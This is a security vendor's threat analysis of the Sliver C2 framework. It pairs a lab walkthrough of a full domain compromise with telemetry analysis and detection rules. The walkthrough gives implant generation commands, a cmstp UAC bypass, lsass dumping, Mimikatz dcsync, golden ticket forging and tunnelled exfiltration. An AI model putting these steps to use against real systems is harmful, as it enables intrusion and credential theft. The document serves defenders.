cybereason

maliciouslife
BY CYBEREASON

Search | Subscribe

Sliver C2 Leveraged by Many Threat Actors

cybereason

WHAT YOU NEED TO KNOW ABOUT THIS ATTACK FRAMEWORK BEFORE IT REPLACES COBALT STRIKE

This particular Threat Analysis report is part of a series named "Purple Team Series", covering widely used attack techniques, how threat actors are leveraging them and how to detect their use.

INTRODUCTION

Cybereason's GSOC and Incident Response teams have analyzed a growing C2 framework named Sliver and created by a cybersecurity company named Bishop Fox. C2 frameworks or Command and Control (C&C) infrastructure are used by security professionals (red teamers and pentesters) to remotely control compromised machines during security assessments. They are also leveraged by threat actors for the same reason.

Following this introduction, we describe in detail how this framework works, how to reproduce its use, how threat actors are leveraging it and how to implement detection and prevention mechanisms.

As always in this Purple Team series, the Cybereason GSOC covers the topic from different perspectives:

- Description of the Sliver C2 framework

Blue team aspects - analyzing a past case of BumbleBee infection that led to the use of Sliver C2

- Purple team aspects - using blue and red knowledge, producing detections and analysis capabilities

In the following table, we created an index of the identified features of Sliver C2 and their corresponding section in the MITRE ATT&CK framework:

Sliver C2 Feature or Aspect	MITRE Tactic	MITRE Techniques
Shell	Execution	Command and Scripting Interpreter: Windows Command Shell
UAC Bypass	Privilege Escalation	Abuse Elevation Control Mechanism: Bypass User Account Control
Getsystem	Privilege Escalation	Access Token Manipulation
Migrate	Defense Evasion	Process Injection

Specific Network Port	Command and Control	Non-Standard Port
Use of SOCKS	Command and Control	Proxy

KEY POINTS

The Cybereason GSOC team extracted the following key points from its research of Sliver C2:

- A new trend: Sliver C2 gets more and more traction from Threat Actors, often seen as an alternative from Cobalt Striker.

- Modular framework: Extension package manager (armory) allowing easy install (automatic compilation) of various 3rd party tools such as BOFs and .NET tooling like Ghostpack (Rubeus, Seatbelt, SharpUp, Certify, etc).

- Already associated with known threat actors and malware families: BumbleBee loader infections are often followed by the loading of Sliver C2. Threat actors like APT29 are also known to leverage this framework.

Detections and fingerprinting of the infrastructure server also exists and are listed in this article.

SLIVER C2 DESCRIPTION AND PAST USES

WHAT IS IT?

Sliver is an open source cross-platform adversary emulation/red team framework. It's designed to be scalable and can be used by organizations of all sizes to perform security testing.

Sliver is comparable to Cobalt Strike or Metasploit.

WHY IS IT GETTING MORE ATTRACTION ?

Silver C2 is gaining popularity due to these reasons :

- Open-source alternative to Cobalt Strike and Metasploit
- Modularity of the platform with Armory
- Cross-platform : OS X, Linux and Windows

The framework provides all core capabilities for adversary simulation and most notables are:

- Compile-time obfuscation
- Multiplayer-mode
- Staged and Stageless payloads
- Secure C2 over mTLS, WireGuard, HTTP(S), and DNS
- Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration
- In-memory .NET assembly execution
- COFF/BOF in-memory loader
- TCP and named pipe pivots
- Armory, alias and extension package manager

In the Red team section, we analyze how Sliver C2 can be leveraged in a real-life attack scenario.

THREAT ACTORS LEVERAGING SLIVER C2

Sliver C2.

Recently, some threat research teams, including the Cybereason GSOC, identified cases of BumbleBee loaders dropping Sliver C2 following the initial infection.

SVR / APT29 (2021)

Threat Actor	Malware Families	Dates	Links
APT29 / SVR / Cozy Bear / the Duke	N/A	May 2021	NCSC

The threat actor called APT29, associated with Russian secret services, has been reported by different organizations, using Sliver C2 to ensure persistence on a compromised network.

According to this report, by the National Cyber Security Centre (NCSC), the use of the Sliver C2 was "*likely an attempt to ensure access to a number of the existing WellMess and WellMail victims was maintained*".

In this specific case, the SVR operators used a specific Sliver C2 infrastructure server for each compromise.

TA551 / SHATHAK (2021)

TA551 / Shathak	N/A	October 2021	Proofpoint

Security researchers from the company ProofPoint identified emails with attached Microsoft Office documents, containing malicious macros, that if enabled, lead to the deployment of the Sliver C2 framework.

TA551 has been previously associated with distributing malware families such as Ursnif, IcedID, QBot/Qakbot, etc.

In this case, Sliver was directly loaded after the initial infection vector, unlike previous cases involving TA551 where frameworks such as Cobalt Strike were loaded a second time following the initial infection. This use of Sliver gave the threat actor much more flexibility.

EXOTIC LILY (2022)

Threat Actor	Malware Families	Dates	Link
Exotic Lily	BumbleBee Loader	2022	Cybereason

The Cybereason GSOC team has previously reported on BumbleBee loader infections leading to the deployment of a C2 framework.

Recently, the Cybereason GSOC team observed a typical BumbleBee loader infection, starting from a LNK infection vector, ultimately

In this chapter, we describe the attack path employed by the threat actors.

The Cybereason GSOC drafted the following timeline:

Activities	Time
Initial access with BumbleBee Loader	T0
Reconnaissance / tasklist	T0 + 2 minutes
Command and Control / Sliver C2	T0 + 11 minutes
Command and Control / Sliver C2 Shell feature	T0 + 41 minutes
Reconnaissance / whoami	T0 + 42 minutes

The scenario in itself is stopped almost at its beginning, due to a user intervention and the attack detection.

RED TEAM - DISCOVERING AND USING THE SLIVER C2 FRAMEWORK

SLIVER FRAMEWORK ARCHITECTURE

There are four major components to the Sliver C2 ecosystem:

- Server Console - The server console is the main interface, which is started when you run the sliver-server executable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (operator) management. The server console communicates over an gRPC interface to the server.

- Sliver C2 Server - The Sliver C2 server is also part of the sliver-server executable and manages the internal database, starts and stops network listeners. The main interface used to interact with the server is the gRPC interface, through which all functionality is implemented.

- Client Console - The client console is the primary user interface that is used to interact with the Sliver C2 server.

- Implant - The implant is the actual malicious code run on the target system you want remote access to.

We describe the relations between each component through the following diagram, putting the Sliver C2 server at the center of the

Sliver C2 various components and their interaction, as explained in the above paragraph

Framework base installation is easy and consist of downloading and running a bash script: *curl https://sliver.sh/install | sudo bash*

Cybereason GSOC has analyzed the script and following actions are performed as of the publication of this analysis:

- Installing following dependencies, *gpg, curl, build-essential, mingw-w64, binutils-mingw-w64, g++-mingw-w64,* (mainly related to the compilation)
- Download from release page Sliver C2 binaries and verify the integrity
- Install *systemd* service for Sliver C2 to run as system service (daemon)
- Generate client configuration for all users on the system in order to allow them to connect and conduct an attack campaign in parallel.

Sliver server running as a system service is giving the ability for multiple operators to connect.

Sliver implants support two modes of operation:

returns the results.

- Session mode - in session mode the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.

IMPLANT

Sliver C2 implants are cross-platform, you can change the compiler target with the --os flag. Sliver accepts any Golang *GOOS* and *GOARCH* as arguments --os and --arch.

We generated implants for Linux, Mac and Windows with following commands:

- *generate --mtls [C2 Public IP]:443 --os linux --arch amd64*
- *generate --mtls [C2 Public IP]:443 --os mac --arch arm64*
- *generate --mtls [C2 Public IP]:443 --os windows --arch amd64*

The command *generate info* can be used to list all supported compilation targets.

LISTENER

Before you can catch the shell, you'll first need to start a listener. The following protocols are supported:

- mTLS
    - Mutual Transport Layer Security (mTLS) is a process that establishes an encrypted TLS connection in which both parties use X. 509 digital certificates to authenticate each other
- HTTP
- HTTPS
- DNS
- Wireguard

Listeners support both sessions and beacons callbacks. The implants in our example are generated for *mTLS* protocol on port 443 and therefore we start the *mTLS* listener:

Starting mTLS listener and displaying currently active listeners

SESSIONS

After implant execution on target host a session is created:

Displaying current sessions

The command *use* with the session id provides interactive session with remote target:

the following commands:

The list of supported commands in session mode

ARMORY

The armory is the Sliver Alias and Extension package manager, which allows you to automatically install various 3rd party tools such as

USING SLIVER C2 TO CREATE A COMPLETE ATTACK PATH

In this section, we will explore the different features offered by Sliver, used in a logical order for an attacker, from initial infection to domain administration escalation and data exfiltration. In the Blue team section, those will be analyzed from the Defender perspective.

This will help us to create detection rules, described in the Purple team section.

Sliver C2 implant is designed to be used as a second stage payload (not leveraged during the initial infection step) after the attacker has gained access to the target system using an initial infection vector such as for example - phishing, drive by download, exploitation of unpatched vulnerabilities to get deployed on the target system.

This part is out of the scope for this article and therefore we executed the implant directly on the target system.

We presented the attack scenario following MITRE tactic order, and introducing each Sliver C2 feature as a “link” of the attack chain.

Target organization is composed of three assets :

- A workstation, in the workstation network zone
- A server, hosted in the DMZ network zone
- A domain controller, in the server network zone.

Exfiltration

EXECUTION

Silver C2 implant is executed on the workstation as stage 2 payload and from Sliver C2 server we get a shell session, this session provides multiple methods to execute commands and other scripts or binaries.

Red team - Shell Command

Sliver C2 session has a built-in command *shell* to spawn a powershell command prompt. However this is considered as bad practice and will leave obvious logs on the target system for detections.

Obtaining Powershell prompt from Sliver C2

Red team - Execute Command

The preferred method to execute a program on target is *execute*

Using Sliver C2 built-in execute command

RunAs

Run a new process in the context of the designated user (Windows Only).

Running ipconfig command as localAdmin user

PRIVILEGE ESCALATION

We obtain access on a workstation, with an account that is part of the “administrators” local group. However, we need to elevate the process to *NT Authority/System*, enabling us to do high-privileges actions like process memory dumps.

UAC Bypass

system binary. The details and the source code for the exploit are available here.

UAC bypass exploit source files

Next, we upload the files to the victim machine and execute the powershell script to return a new session with UAC bypass.

Execution of UAC bypass exploit

Getsystem

After UAC bypass we are able to use the built in *getsystem* command to spawn a new Sliver session as the NT AUTHORITY\SYSTEM user.

Executing built in getsystem command

Session user after getsystem command

DEFENSE EVASION

This section describes the features of Sliver C2 implant used to avoid detections.

Migrate

We use built-in *migrate* command to hide Sliver C2 implant into another remote process for defense evasion purposes.

Using Sliver C2 migrate command

CREDENTIAL ACCESS

With obtained privileges, we use the built-in *procdump* command to dump the "lsass.exe" process memory and retrieve credentials offline on Sliver C2.

Dumping lsass.exe memory with built-in procdump command

Offline reading of the memory dump on Linux (Sliver C2 server) can be done using pypykatz.

Pypykatz reading lsass.exe memory dump (complete output omitted)

We are able to obtain the password of a logged in user (STAGEZERO\alon).

DISCOVERY

In this stage we use Sliver C2 to get information about Active Directory as well as discover new machines to pivot to.

Network Scan

Network scan from Sliver C2 shell

The live host with IP address 10.0.2.10 will be our target for the lateral movement.

Retrieving the hostname of 10.0.2.10

The FQDN of 10.0.2.10 in *STAGEZERO* domain is *s1-confluence.stagezero.lab*.

Active Directory Discovery

We use Windows system binaries with the Sliver C2 built-in *execute*

Using net to discover STAGEZERO domain administrators

Using nltest to discovering STAGEZERO domain controllers

LATERAL MOVEMENT

During the credentials access stage we obtained the credentials for *STAGEZERO|alon* user and in discovery stage we found another host, *s1-confluence.stagezero.lab*. This information will be used for lateral movement.

PsExec

Lateral movement to s1-confluence server

On this new machine we perform the same actions (a process dump of the lsass.exe process memory, *pypykatz* offline launch) to access credentials.

These steps give us access to the user *stagezero_adm* which, we know from Active Directory discovery, is a domain administrator account.

Golden ticket in order to obtain full access to all domain joined systems. We leverage Rubeus, installed from Sliver C2 Armory, to obtain a Kerberos TGT to authenticate as *stagezero_adm*.

Using Rubeus to get TGT for stagezero_adm account

We use the Kerberos TGT ticket or obtained credentials from offline memory dump with *psexec* command to move laterally to the domain controller (DC-1).

In order to forge a Kerberos Golden Ticket we upload Mimikatz latest release to the DC-1 machine with Sliver C2 built-in *upload* command, unzip the archive and execute Mimikatz binary.

Upload and unzip Mimikatz on target machine

We use the Mimikatz *dcsync* command to obtain the krbtgt account password hash which is used to sign Kerberos tickets.

Obtaining krbtgt account password hash

Kerberos Golden ticket can be obtained using Rubeus through the Sliver C2 implant:

Forging Kerberos Golden Ticket with Rubeus

This grants us the Domain Administrator privileges and represents full domain compromise by the attacker.

COLLECTION & EXFILTRATION

In this section we use Sliver C2 features to access target internal systems.

Socks Proxy

Sliver C2 has SOCKS5 built-in command to open a proxy, this proxy facilitates communication with internal servers by routing network traffic to the actual server on behalf of a client (target machine with Sliver C2 implant).

Setup SOCKS5 proxy with Sliver C2

After configuring our navigator to use SOCKS proxy we can access internal resources of the compromised domain.

Accessing s1-confluence server using SOCKS proxy

Wireguard

Sliver C2 offers another built-in method to access victims' networks, Wireguard VPN implant.

Setup Sliver C2 Wireguard listener

The Endpoint setting must be configured to point to the Sliver C2 server's WireGuard listener, 40.88.146.221:999 in our case.

RunningSliver C2 Wireguard implant

After setting up the port forwarding with built-in "*wg-portfwd add --remote 10.0.1.10:3389"* we can access victims' internal resources.

RDP connection to victims internal server (DC-1)

In previous stages we used Sliver C2 to obtain multiple access (HTTP, RDP) to the victims internal network and domain administrator credentials. We can now exfiltrate sensitive data from victims systems through the created tunnels or through the Sliver C2 Implants.

BLUE TEAM - ANALYSIS OF SLIVER C2 FRAMEWORK USE

In this chapter, we put on the “Security analyst” hat and analyze the resulting telemetry collected during our attack simulation using the Sliver C2 framework.

ANALYZING THE PRODUCED ATTACK

As a reminder, our “victim” organization is composed of three assets :

- A workstation, in the workstation network zone, which is the entry point of the attacker, through spear phishing
- A server, hosted in the DMZ network zone, which is used for documentation and hosts a Confluence service
- A domain controller, in the server network zone.

EXECUTION AND OS DISCOVERY

The attacker first executes the Sliver beacon named *nasty_roast.exe* on the initial victim machine, a workstation.

Execution of the Sliver C2 implant, under the name “NASTY_ROAST.exe”

Analyzing the *nasty_roast.exe* process further, we discover network connections to what seems to be the Sliver C2 server, on TCP port 8888 :

Network connection to the Sliver C2

The attacker then executes *whoami.exe /all* from the beacon:

Cybereason Process Tree showing whoami.exe being spawned from nasty_roast.exe

This command displays the execution context of the user of the malicious implant.

Blue team - Command Execution

Net.exe commands displaying the local administrator group content as well as the Active Directory "domain admins" group

PRIVILEGE ESCALATION

Blue Team - UAC Bypass

The first step needed for the attacker is to obtain *NT|System* privileges. In order to obtain that privilege, the attacker needs to bypass User Account Control or "UAC".

On the lab environment, the attacker compiles C# source code (.cs extension) which results in the file *cmstp-uac-bypass.dll*:

produced DLL, through the command *powershell C:|Users|[..]|Documents|file|uac.ps1*:

Powershell.exe spawned from the Sliver C2 implant, creating a cmstp.exe process

This method allows the attacker to leverage *cmstp.exe* to bypass UAC on the machine.

The resulting command is :

- *"c:\windows\system32\cmstp.exe" /au C:\windows\temp\y1zuhb4s.inf*

Loaded modules of powershell.exe

As a result of the attacker executing this UAC Bypass, we identify a newly created "*nasty_roast.exe*" process, with "dllhost.exe" as a parent:

Process "nasty_roast.exe" in an elevated state

One can notice the attribute "*Elevated child process privileges*", resulting from the process elevation.

The attacker follows this step with another *whoami.exe /all* command. But this process still runs under the user account and not *NT|System*.

The next logical step is for the attacker to execute the "*GetSystem*" Sliver C2 command to attain System privileges on the victim machine, which results in the injection of the *spoolsv.exe* process:

Injection to spoolsv.exe, with "system" privileges

As a result, we identify a chain of injections to the *spoolsv.exe* process, executed in the *NT|System* user context. The attacker follows spoolsv.exe injection with another *whoami /all* command to verify its permissions.

The injection function is marked as "*CreateRemoteThread*", indicating that the Sliver C2 implant is creating a remote thread in *spoolsv.exe*.

We observe later the user of the "*Shell*" feature of Sliver C2, spawning *powershell.exe* in a unique fashion:

Execution of powershell.exe with specific argument, unique to Sliver C2

As this is unique to Sliver C2, this can be used for a detection, later in the article.

CREDENTIAL ACCESS

Now that the attacker obtains full user privileges, he will proceed to gather user accounts on the machine.

Blue Team - Execute-Assembly

The attacker leverages the “Execute-Assembly” Silver C2 feature to interrogate the domain controller LDAP service:

Injection from spoolsv.exe to notepad.exe, connecting to the domain controller on TCP port 389 (LDAP)

The analysis shows that, by default, Sliver C2 implants will create *notepad.exe* processes and inject into them when using such feature.

Blue Team - LSASS Dump

Following this activity, the attacker attempts another method to steal user credentials from the victim machine. The attacker executes a memory dump of the *lsass.exe* process:

Creation of a MalOp and a process tree new item following the memory dump of lsass.exe

The attacker then analyzes the memory dump from the host itself, leveraging mimikatz.exe:

Mimikatz.exe execution

At this point, the attacker possesses accounts of the local user and domain users actively connected to the victim machine.

DISCOVERY

The attacker leverages powershell.exe to scan the internal network through the following command :

ProtocolAddress}"*

Attacker then uses Windows system binaries (*net.exe*, *nltest.exe*) to get Active Directory information discovery commands:

Active Directory discovery

LATERAL MOVEMENT

Following the discovery and credential theft activities, the attacker now progresses to the other assets discovered.

From the Workstation to the DMZ Server

The attacker remotely creates a service on the server, under the machine's system privileges :

- First, the attacker remotely starts a service on the server from the workstation through the RCreateServiceW function of the Microsoft Remote Procedure Call (RPC) technology for distributed networks:

This MSRPC indicated the creation of a remote service from alon-wks to s1-confluence.stagezero.lab

- Then, we observe the creation of a new process, corresponding to the Sliver C2 implant, spawned by services.exe on the s1-confluence server:

Remote creation and starting of the the "pentest2" service, executing a randomly generated process (*wehsbmf4im.exe*)

The created remote service defaults with the name "Sliver". In that case, the attacker changes it on purpose to "*pentest2*".

Sliver C2, creating an implant executable with a randomly generated name. In that case, the path is *c:|windows|temp|wehsbmf4im.exe*).

As like the other implants on the workstation, this implant also communicates with the Sliver C2 server infrastructure, on TCP port 8888.

Following the lateral movement, the attacker again checks his user privileges through the *whoami /all* command.

Following this action, another injection to notepad.exe relates to the use of the Sliver C2 "*Execute-Assembly*" function.

He also executes the command "*nltest /dclist*" to identify the name of the domain controller, which is probably going to be his next target.

The created and injected notepad.exe process contains a module named Rubeus:

Loaded processes of notepad.exe, showing again the use of Execute-Assembly

Rubeus is a C# program used for raw Kerberos interaction and abuses. In that case, it is used to interact with the domain controller.

On top of using Rubeus, the attacker also leverages another memory dump of *lsass.exe*, directly from the implant process:

Suspicions around the process wehsbmf4im.exe (Sliver C2 implant remotely deployed on the server), showing the memory dump of lsass.exe

The use of Rubeus indicates a potential Kerberos ticket manipulation in order to reuse the stolen accounts with a pass-the-ticket attack.

The fact that a session was established while the attack was ongoing shows that the domain administration privileges were obtained by the attacker:

Logon Session established with the domain administrator account

From the DMZ Server to the Domain Controller

In order to control the domain controller (dc-1), the attacker targets it through the use, again, of the PsExec method:

File event showing the creation of another remote service on the domain controller

At this point, the attacker controls the domain controller of the environment.

- Injection to *notepad.exe* indicating the use of Silver C2 armory modules with the Execute-Assembly method
- Rubeus use through the Execute-Assembly feature
- Launch of *mimikatz.exe* through the Shell feature of Sliver C2
- Creation and manipulation of Kerberos tickets
- LSASS memory dump for credential theft

File event indicating the file manipulation of Kerberos tickets

The attacker finally leverages the "DCSync" feature of Mimikatz to impersonate a domain controller in order to steal the credential database :

This MSRPC shows the use of Domain Controller replication, that can be abused in stealing AD credentials

COLLECTION

As the attacker prepares for data exfiltration the, we detect new activities including the spawning of another Sliver C2 implant under the process *necessary_eviction.exe* (random name generated by Sliver C2).

First, the attacker drops the new generated implant, as shown in the following file event:

File event indicating the drop of a new executable (Sliver C2 implant)

Then, the attacker executes the file :

New implant executed on the domain controller

This time, the attacker configured the implant to reach the Sliver C2 server infrastructure through the UDP port 999 (non-default port, the default one is 51820):

UDP Connection to the Sliver C2 server

At this stage any analyst familiar with the Sliver C2 framework would surmise that the only network protocol used by the framework that uses UDP is the WireGuard protocol fits this behavior. On the Sliver C2 project wiki, a page clarifies the use of port forwarding and indicates that Wireguard should be used for better remote access to the internal network:

- https://github.com/BishopFox/sliver/wiki/Port-Forwarding

shown in the connection screen:

Connection screen showing TCP connection on the 3389 port (RDP) of the DMZ server

This connection was created through the use of the WireGuard port forwarding feature of Sliver C2.

Interestingly enough, we also identified the initial implant, *fnhoczptph.exe*, showing proxy activity to target the Confluence port of s1-confluence DMZ server:

This shows the attacker exfiltrating data from the internal Confluence server

PURPLE TEAM - DETECTION AND HUNTING STRATEGIES FOR SLIVER C2

In this section, we list tools and techniques in order to detect the use of Sliver C2 Framework.

HUNTING FOR SLIVER INFRASTRUCTURE

We can identify suspicious processes with connections to external servers that are likely to be part of a Sliver C2 infrastructure. In this section, we will list all the methods we discovered so far.

fingerprinting tool.

As stated by Salesforce, initiator of this fingerprinting tool, scanning with JARM provides the ability to identify and group malicious servers on the Internet.

Similar to Cobalt Strike, we identified that Sliver C2, by default, will generate a TLS configuration that is typical for Sliver as outlined by this article from Microsoft's Threat Intel team

When trying to fingerprint our C2 server's TLS service (configured with *mTLS* beacon communication), we indeed identify this hash:

Salesforce JARM tool launched against a Sliver C2

That means that if there is a suspicious connection from a process on a machine, one can identify that it is a Sliver C2 server through its JARM hash.

The following values can be used to decide if it's a Sliver C2 infrastructure:

- HTTPS 3fd21b20d00000021c43d21b21b43d41226dd5dfc615dd4a96265559485910

One has to be careful though, as this JARM hash can be shared with other non-Sliver C2 servers. This check has to be specific to when there is a suspicion of a C2, not the other way around (looking for Sliver C2 in a large dataset of TLS server).

Detection Logic

Process has network connections with a SSL/TLS service that has a JARM hash of
3fd21b20d00000021c43d21b21b43d41226dd5dfc615dd4a96265559485910
OR
00000000000000000043d43d00043de2a97eabb398317329f027c66e4c1b01

WEB SERVER HEADERS (HTTP)

This detection logic only works when the beacon configuration mode is *HTTPS*, and does not work for *mTLS*.

After setting up an HTTPS listener on the Sliver C2 server, we reach out through the openssl command:

Openssl tool to connect to the Sliver C2 HTTPS listener

We can observe that the certificate chain is particular and can help identifying Sliver C2 (use of US cities in conjunction with *"CN = localhost"*).

Response to a request on the web root path of the Sliver C2 server

Upon making a “wrong” request, we get this 400 error message:

Response to a malformed request

This can be used as a confirmation that the server is Sliver C2. It should be used in combination with the JARM detection.

Detection Logic

JARM detection logic and process connects to a TLS service that answers “HTTP/1.1 400 Bad Request

Content-Type: text/plain; charset=utf-8

Connection: close“

for malformed requests

By default, Wireguard VPN server and therefore Sliver C2 wireguard listener is using the UDP port 51820. This can lead to false positives and needs to be correlated with other findings.

Detection Logic
Public IP address listening on UDP port 51820

HUNTING FOR SLIVER C2 IMPLANTS

The use of Sliver C2 generates many unique behaviors that can be used as detection triggers. In the following diagram, we list all the detection techniques identified through this research.

In the following chapter, we dedicate one subchapter to each detection technique. Anyone can use and implement in their favorite

SHELL FEATURE - DETECTION OF SPECIFIC POWERSHELL COMMAND LINE

As stated in the above chapters, Sliver C2 has a very unique way of spawning the *powershell.exe* process when the Sliver C2 '*Shell*' command is executed for a specific implant.

To detect the use of the "Shell" feature of Sliver C2, it is possible to search look for any process spawning powershell.exe child process with a command line containing "*-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8*".

The following detection logic sums up this rule:

Detection Logic
Process name is powershell.exe with a command line that contains *"-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8"*

SLIVER EXECUTE-ASSEMBLY OR MIGRATE FEATURE

Sliver C2 *migrate* command by default injects the implant binary into newly created *notepad.exe* processes and creates a remote thread to run the malicious code.

Event ID 8 related to CreateRemoteThread detection.

Remote thread creation log inside notepad.exe, as seen from a Sysmon event log

Detection Logic

Detect call(s) to the CreateRemoteThread Windows API to run code inside another process named notepad.exe

SLIVER GETSYSTEM DETECTION

When the Sliver C2 *getsystem* command is executed from the administration panel, we identified that the process hosting the current implant will systematically inject itself into the *spoolsv.exe* process.

Hosted injected thread (CreateRemoteThread) from any process to *spoolsv.exe*.

code inside another process named spoolsv.exe

PSEXEC FEATURE DETECTION

Sliver C2 built-in PsExec command, used for lateral movements, creates a service on remote machine with default name “Sliver.”

Service creation with the name “Sliver”

Detection Logic

Process creates remote Windows service containing the name “Sliver”

SLIVER C2 PAYLOADS IN C:\WINDOWS\TEMP

Without any customization, Sliver delivers its payloads remotely in the *C:|Windows|Temp* directory.

Detection Logic

Process creates executable file or script in C:\Windows\Temp directory

OR

Process created from an image file residing in the C:\Windows\Temp directory

SPECIFIC NETWORK PORT COMMUNICATION

Sliver C2 server listens on default ports if not instructed otherwise :

- TCP Port 8888 for the mTLS service
- UDP Port 51820 for the Wireguard service
- TCP Port 443 for the HTTPS service

The communications on port 443 are too common to be a detection factor. However, communications on ports TCP/8888 and UDP/51820 could be detection opportunities.

We can also add another criteria, which is the fact that the process initiating the connection is either suspicious (randomly, unsigned

Communication on TCP port 8888

mTLS connection default on TCP port 8888. As stated above, this can be used to create a detection logic:

Detection Logic

Process has TLS encrypted network connections with a TCP service on TCP port 8888

Communication on UDP port 51820

Wireguard VPN default port is UDP 51820, this information can be used to detect Sliver C2 implant communication.

Detection Logic

Process has network connections with a UDP service on UDP port 51820

CYBEREASON RECOMMENDATIONS

To efficiently detect Sliver C2 attacks, Cybereason recommends the following:

- Enable both the Signature and Artificial Intelligence (AI) modes on the Cybereason NGAV, alongside with the Detect and Prevent modes of this feature.

- Handle with caution files originating from external sources (Email, Web browsing).

- Threat Hunting with Cybereason: The Cybereason MDR team provides its customers with custom hunting queries for detecting specific threats - to find out more about threat hunting and Managed Detection and Response with the Cybereason Defense Platform, contact a Cybereason Defender here.

For Cybereason customers: You can find more details available on the NEST including custom threat hunting queries for detecting this threat.

Cybereason is dedicated to teaming up with Defenders to end cyber attacks from endpoints to enterprise ang to everywhere. Learn more about Cybereason XDR powered by Google Chronicle, check out our Extended Detection and Response (XDR) Toolkit, or schedule a demo today to learn how your organization can benefit from an operation-centric approach to security.

ABOUT THE RESEARCHERS

Loïc Castel, Incident Response Investigator, Cybereason Incident Response Team

his career, Loïc worked as a security auditor in well-known organizations such as ANSSI (French National Agency for the Security of Information Systems) and as Lead Digital Forensics & Incident Response at Atos. Loïc loves digital forensics and incident response, but is also interested in offensive aspects such as vulnerability research.

Meroujan Antonyan, Senior Security Analyst, Cybereason Global SOC

Meroujan Antonyan is a Senior Security Analyst with the Cybereason Global SOC team. Meroujan hunts for emerging threats and analyzes incidents in order to improve hunting techniques and procedures. He contributes in automation and interconnection of various cybersecurity projects to collect and leverage threat intelligence and bring value from security events. Meroujan has Digital Forensics & Incident Response experience and is interested in low level malware development, oriented towards improving security solutions capabilities.

SHARE

ABOUT THE AUTHOR

Cybereason Global SOC and Incident Response Team

THREAT ANALYSIS REPORT: Bumblebee Loader – The High Road to Enterprise Domain Control

Cybereason GSOC observed distribution of the Bumblebee Loader and post-exploitation activities including privilege escalation, reconnaissance and credential theft. Bumblebee operators use the Cobalt Strike framework throughout the attack and abuse credentials for privilege escalation to access Active Directory, as well as abusing a domain administrator account to move laterally, create local user accounts and exfiltrate data...

THREAT ANALYSIS: From IcedID to Domain Compromise

Recently, IcedID, also known as BokBot, has been used more as a dropper for other malware families and as a tool for initial access brokers.

Search

SUBSCRIBE
Never miss a blog.

cybereason

Unlocking the Potential of AI in Cybersecurity: Embracing the Future and Its Complexities

Malicious Life Podcast: Operation Snow White, Part 2

THREAT ANALYSIS: Beast Ransomware

CATEGORIES

Research
Podcasts
Webinars
Resources
Videos
News

All Posts

cybereason

Never miss a blog

Get the latest research, expert insights, and security industry news.

Subscribe